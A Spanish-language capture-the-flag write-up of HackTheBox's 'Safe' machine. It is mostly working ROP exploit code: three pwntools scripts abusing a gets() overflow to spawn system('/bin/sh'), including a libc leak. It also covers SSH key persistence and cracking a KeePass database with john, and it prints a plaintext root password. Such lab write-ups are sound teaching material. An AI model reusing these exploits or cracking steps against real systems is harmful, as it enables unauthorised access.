xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Safe



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.10.147
Nmap scan report for 10.10.10.147  
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste

Al abrir el servicio web encontramos la plantilla por defecto de apache2 en debian

Al ver el codigo fuente de la página podemos ver un comentario que nos dice que hay un binario con el nombre myapp que esta corriendo en el puerto 1337

El binario de myapp podemos descargarlo directamente de la pagina web en /myapp

❯ curl -s http://10.10.10.147/myapp -o myapp  


Shell - user


Al ejecutar el programa comprobamos que es el mismo que corre en el puerto 1337

❯ ./myapp
 19:32:56 up 8 min,  1 user,  load average: 1,12, 0,83, 0,50  

What do you want me to echo back? test
test

❯ netcat 10.10.10.147 1337
 19:33:52 up 9 min,  0 users,  load average: 0.00, 0.00, 0.00  

What do you want me to echo back? test
test

Usando IDA podemos desensamblar el binario, la función main inicia ejecutando el comando uptime con system, luego de ello muestra un mensaje con printf para posteriormente recibir un buffer con gets, el primer argumento en rdi es el puntero a un buffer en rbp-112 donde se escribiran los datos y el segundo en rsi la cantidad de bytes a recibir, en este caso son 1000, mas de los que el buffer de 112 espera

Antes de explotar el buffer overflow miraremos las protecciones, NX esta habilitado, lo que quiere decir que no podremos simplemente ejecutar shellcode en la pila

❯ checksec myapp
[*] '/home/user/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)  

Sabemos que el buffer definido está en rbp - 112 por lo que podemos llenar ese buffer con A's, luego enviar 8 bytes que es el tamaño de un qword o registro de x64 con B's y C's, las B's seran el valor despues de rbp - 112 por lo que rbp deberia tomar ese valor y el resto de bytes se escribiran después de rbp en el stack

❯ python3 -q
>>> b"A" * 112 + b"B" * 8 + b"C" * 8
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC'  
>>>

En este caso necesitamos indicar que al corromper el programa nos interesa seguir al proceso padre, al enviar nuestro payload podemos ver que después de llenar el buffer con las 112 A's, el registro rbp ha tomado el valor de las 8 B's y el siguiente qword de las C's se ha escrito en el stack como la dirección de retorno, sabemos que necesitamos 112 bytes para sobrescribir rbp pero 120 para el retorno

❯ gdb -q myapp
Reading symbols from myapp...
(No debugging symbols found in myapp)
pwndbg> set follow-fork-mode parent
pwndbg> run
Starting program: /home/user/myapp
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 20:34:33 up  1:23,  1 user,  load average: 0,54, 0,57, 0,58

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe438:	0x4343434343434343
pwndbg> 


Buffer Overflow - Function


Hay diferentes formas de explotarlo, la primera es a través de una funcion test existente en el binario en la dirección 0x401152, este ejecuta un push del valor de rbp y luego mueve a rbp la dirección del stack para guardar el puntero del stack en rdi y saltar a r13, por lo que si guardamos una función en r13 el primer argumento rdi tendrá un puntero al valor que contenga rbp al inicio de la ejecución de test

Lo primero sera buscar un gadget que guarde un valor en r13, aunque encontramos un pop r13 tambien guarda 2 qwords adicionales que llenaremos con null bytes

❯ ropper --file myapp --search "pop r13;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r13;

[INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret;  

Luego necesitamos el valor de r13 donde saltará la función test, podemos aprovechar que el binario no tiene PIE y el simbolo system se encuentra en él

pwndbg> plt 
Section .plt 0x401020-0x401070:  
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg>

Resumiendo, guardamos la string /bin/sh en rbp, luego guardamos system@plt en r13, al llamar a test el puntero a la string en rbp se guarda en rdi y salta a r13 por lo que como resultado obtenemos la ejecución de system("/bin/sh")

#!/usr/bin/python3
from pwn import remote, p64

shell = remote("10.10.10.147", 1337)

offset = 112
junk = b"A" * offset

payload =  b""
payload += junk
payload += b"/bin/sh\x00" # rbp value
payload += p64(0x401206)  # pop r13; pop r14; pop r15; ret;  
payload += p64(0x401040)  # system()
payload += p64(0x0) * 2   # padding for pops
payload += p64(0x401152)  # test()

shell.sendline(payload)
shell.recvline()
shell.interactive()

Al ejecutar el script se conecta a la maquina victima por el puerto 1337 y al explotar el buffer overflow nos devuelve una shell como el usuario user, leemos la flag

❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done  
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147 
$ cat /home/user/user.txt
c15**************************ef9
$


Buffer Overflow - Writable


Otra forma de explotarlo es aprovechandonos de la sección .data la cual podemos ver con rabin2 donde tenemos permisos de escritura que se representa como rw-

❯ rabin2 -S myapp
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ----
1   0x000002a8   0x1c 0x004002a8   0x1c -r-- .interp
2   0x000002c4   0x20 0x004002c4   0x20 -r-- .note.ABI-tag
3   0x000002e4   0x24 0x004002e4   0x24 -r-- .note.gnu.build-id  
4   0x00000308   0x1c 0x00400308   0x1c -r-- .gnu.hash
5   0x00000328   0xa8 0x00400328   0xa8 -r-- .dynsym
6   0x000003d0   0x50 0x004003d0   0x50 -r-- .dynstr
7   0x00000420    0xe 0x00400420    0xe -r-- .gnu.version
8   0x00000430   0x20 0x00400430   0x20 -r-- .gnu.version_r
9   0x00000450   0x30 0x00400450   0x30 -r-- .rela.dyn
10  0x00000480   0x60 0x00400480   0x60 -r-- .rela.plt
11  0x00001000   0x17 0x00401000   0x17 -r-x .init
12  0x00001020   0x50 0x00401020   0x50 -r-x .plt
13  0x00001070  0x1a1 0x00401070  0x1a1 -r-x .text
14  0x00001214    0x9 0x00401214    0x9 -r-x .fini
15  0x00002000   0x3c 0x00402000   0x3c -r-- .rodata
16  0x0000203c   0x44 0x0040203c   0x44 -r-- .eh_frame_hdr
17  0x00002080  0x120 0x00402080  0x120 -r-- .eh_frame
18  0x00002e10    0x8 0x00403e10    0x8 -rw- .init_array
19  0x00002e18    0x8 0x00403e18    0x8 -rw- .fini_array
20  0x00002e20  0x1d0 0x00403e20  0x1d0 -rw- .dynamic
21  0x00002ff0   0x10 0x00403ff0   0x10 -rw- .got
22  0x00003000   0x38 0x00404000   0x38 -rw- .got.plt
23  0x00003038   0x10 0x00404038   0x10 -rw- .data
24  0x00003048    0x0 0x00404048    0x8 -rw- .bss
25  0x00003048   0x1c 0x00000000   0x1c ---- .comment
26  0x00003068  0x618 0x00000000  0x618 ---- .symtab
27  0x00003680  0x20b 0x00000000  0x20b ---- .strtab
28  0x0000388b  0x103 0x00000000  0x103 ---- .shstrtab

Para explotarlo de esta manera necesitaremos iniciar obteniendo las direcciones de las funciones system@plt y gets@plt, estas podemos obtnerlas nuevamente en gdb

pwndbg> plt
Section .plt 0x401020-0x401070:  
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg>

Tambien necesitaremos un gadget que ejecute un pop rdi para enviar la direccion .data como argumento en las funciones que utilizaremos para explotarlo, primero a gets para recibir la string y luego a system para ejecutar esa string en el sistema

❯ ropper --file myapp --search "pop rdi; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: myapp
0x000000000040120b: pop rdi; ret;

La primera parte del exploit llama a gets guardando la entrada en la sección .data, aqui enviaremos la string /bin/sh, luego llamamos a system pasandole la direccion de .data como argumento, de esta forma obtenemos un system("/bin/sh")

#!/usr/bin/python3
from pwn import remote, p64

shell = remote("10.10.10.147", 1337)

offset = 120
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;  
payload += p64(0x404038) # .data
payload += p64(0x401060) # gets()
payload += p64(0x40120b) # pop rdi; ret;  
payload += p64(0x404038) # .data
payload += p64(0x401040) # system()

shell.sendline(payload)
shell.sendline(b"/bin/sh\x00")

shell.recvline()
shell.interactive()

Al ejecutarlo explota el buffer overflow y nos otorna una shell como el usuario user

❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done  
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147 
$ cat /home/user/user.txt
c15**************************ef9
$


Buffer Overflow - Puts


Otra forma es a través del output del sistema, la idea sera obtener la direccion de puts@got la cual deberia ser una referencia a puts@libc por lo que tendriamos una dirección dentro de libc que podriamos usar para ejecutar otras funciones

pwndbg> got -r puts
Filtering by symbol name: puts

State of the GOT of /home/user/myapp:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter  
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e38b00 (puts) ◂— push r14
pwndbg>

Tambien necesitaremos la funcion se system para ejecutar puts@got como comando y en el error ver la direccion lekeada de puts@libc, tambien necesitaremos la direccion de main para una vez ocurra el error volver al inicio del programa

pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg> print main
$1 = {<text variable, no debug info>} 0x40115f <main>  
pwndbg>

Ademas el gadget de pop rdi para poder enviar a puts@got como un argumento

❯ ropper --file myapp --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: myapp
0x000000000040120b: pop rdi; ret;

La idea es en un inicio ejecutar system(puts@got), esto claramente ocasionara un error ya que intentara ejecutar los bytes de puts@libc pero este error se ve reflejado por lo que deberiamos obtener su direccion, luego de ello simplemente volvemos a main

#!/usr/bin/python3
from pwn import remote, p64

shell = remote("10.10.10.147", 1337)

offset = 120
junk = b"A" * offset

payload =  b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;  
payload += p64(0x404018) # puts@got
payload += p64(0x401040) # system@plt
payload += p64(0x40115f) # main()

shell.sendline(payload)
shell.recvline()
print(shell.recvline())

Al ejecutarlo podemos ver que funciona y en el error hay un leak de puts@libc

❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done  
b'sh: 1: \x90\x8f\x98\xeb:\x7f: not found\n'
[*] Closed connection to 10.10.10.147 port 1337

Ya que lo recibimos en formato bytes usaremos u64 para pasarlo a un valor entero

leak = u64(shell.recvline().strip()[7:-11].ljust(8, b"\x00"))  
log.info(f"puts@libc: {hex(leak)}")

Al ejecutarlo podemos ver la dirección de puts@libc en formato hexadecimal

❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done  
[*] puts@libc: 0x7f6ef6156f90
[*] Closed connection to 10.10.10.147 port 1337

Especificamente con los ultimos bytes podemos detectar la versión de libc y por lo tanto el offset que debemos restar a puts para obtener la dirección base, al ejecutar libcdb podemos ver que es libc 2.24 y el offset de puts es 0x68f90, además de ello vemos otras direcciones interesantes como la de system o de la string /bin/sh

❯ libcdb lookup puts f90
[*] libc6_2.24-11+deb9u4_amd64
    BuildID:     775143e680ff0cd4cd51cce1ce8ca216e635a1d6
    MD5:         3e5c9b44fc491e6dd5e480fcb316bf2d
    SHA1:        81a6361b56ed07f58021f6a4795a58d565253956
    SHA256:      d37be6b076bed6b4031451c8495aca3f350273e90dd5b97721f6b167b88ce1ea  
    Symbols:
        __libc_start_main_ret = 0x202e1
                         dup2 = 0xdbfb0
                       printf = 0x4f190
                         puts = 0x68f90
                         read = 0xdb900
                   str_bin_sh = 0x161c19
                       system = 0x3f480
                        write = 0xdb960

Ya que tenemos una dirección de libc y los offsets para system y /bin/sh solo nos queda buscar un pop rdi en esa version de libc para guardarlo como argumento

❯ ropper --file libc.so.6 --search "pop rdi; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: libc.so.6
0x000000000001fc6a: pop rdi; ret;

La primera parte del exploits se encarga de lekear la dirección de puts para obtener libc base, con los offsets conocidos guardamos /bin/sh en rdi y ejecutar system

#!/usr/bin/python3
from pwn import remote, p64, u64, log

shell = remote("10.10.10.147", 1337)

offset = 120
junk = b"A" * offset

payload =  b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;  
payload += p64(0x404018) # puts@got
payload += p64(0x401040) # system@plt
payload += p64(0x40115f) # main()

shell.sendline(payload)
shell.recvline()

libc_base = u64(shell.recvline().strip()[7:-11].ljust(8, b"\x00")) - 0x68f90  

payload =  b""
payload += junk
payload += p64(libc_base + 0x01fc6a) # pop rdi; ret;
payload += p64(libc_base + 0x161c19) # "/bin/sh"
payload += p64(libc_base + 0x03f480) # system()

shell.sendline(payload)
shell.recvline()

shell.interactive()

Finalmente ejecutamos el script que explota el buffer overflow y nos da una shell

❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$

Para obtener una shell mas comoda podemos guardar nuestra clave publica como autorizada en la maquina para despues conectarnos por ssh sin contraseña

$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEO8eT1sRh3GpjhaLijzsM0P8IQzOflLDv6jI5j4LU3W user@ubuntu" > /home/user/.ssh/authorized_keys  
$

❯ ssh user@10.10.10.147
user@safe:~$ whoami
user
user@safe:~$ hostname -I
10.10.10.147 
user@safe:~$ cat user.txt
c15**************************ef9  
user@safe:~$


Shell - root


En el directorio home del usuario user podemos encontrar un archivo de kepass MyPasswords.kdbx y varios archivos de extension JPG que son solo imagenes

user@safe:~$ ls -l
-rw-r--r-- 1 user user 1907614 May 13  2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13  2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13  2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13  2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13  2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13  2019 IMG_0553.JPG
-rwxr-xr-x 1 user user   16592 May 13  2019 myapp
-rw-r--r-- 1 user user    2446 May 13  2019 MyPasswords.kdbx  
-rw------- 1 user user      33 Jul 14 19:27 user.txt
user@safe:~$

Para descargar todos los archivos podemos usar scp aprovechando la conexion ssh

❯ scp user@10.10.10.147:'*' .
IMG_0545.JPG                               100% 1863KB 695.1KB/s   00:02  
IMG_0546.JPG                               100% 1872KB 703.2KB/s   00:02  
IMG_0547.JPG                               100% 2470KB 636.0KB/s   00:03  
IMG_0548.JPG                               100% 2858KB 570.2KB/s   00:05  
IMG_0552.JPG                               100% 1099KB 549.4KB/s   00:02  
IMG_0553.JPG                               100% 1060KB 571.9KB/s   00:01  
MyPasswords.kdbx                           100% 2446     7.5KB/s   00:00  
myapp                                      100%   16KB  50.1KB/s   00:00  
user.txt                                   100%   33     0.1KB/s   00:00  

Usando keepass2john podemos crear un hash tanto de el archivo kdbx como para cada una de las imagenes JPG, despues con john podemos romper este hash

❯ keepass2john MyPasswords.kdbx > hash

for image in $(ls IMG*); do keepass2john -k $image MyPasswords.kdbx >> hash; done  

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (KeePass [SHA256 AES 32/64])  
Remaining 6 password hashes with 6 different salts
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit         (MyPasswords)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

La contraseña que hemos conseguido con john es bullshit, sin embargo en keepass tambien necesitamos proporcionar un fichero clave, despues de probar cada uno de los archivos JPG encontramos que IMG_0547.JPG es un archivo valido

Despues de desbloquear la base de datos podemos encontrar una credencial llamada Root password que parece ser la contraseña del usuario root

Usando esta contraseña podemos usar su para convertirnos en el usuario root, la contraseña es valida y conseguimos una shell como este y podemos leer la flag

user@safe:~$ su root
Password: u3v2249dl9ptv465cogl3cnpo3fyhk  
root@safe:~# id
uid=0(root) gid=0(root) groups=0(root)
root@safe:~# hostname -I
10.10.10.147 
root@safe:~# cat /root/root.txt
78b**************************a52
root@safe:~#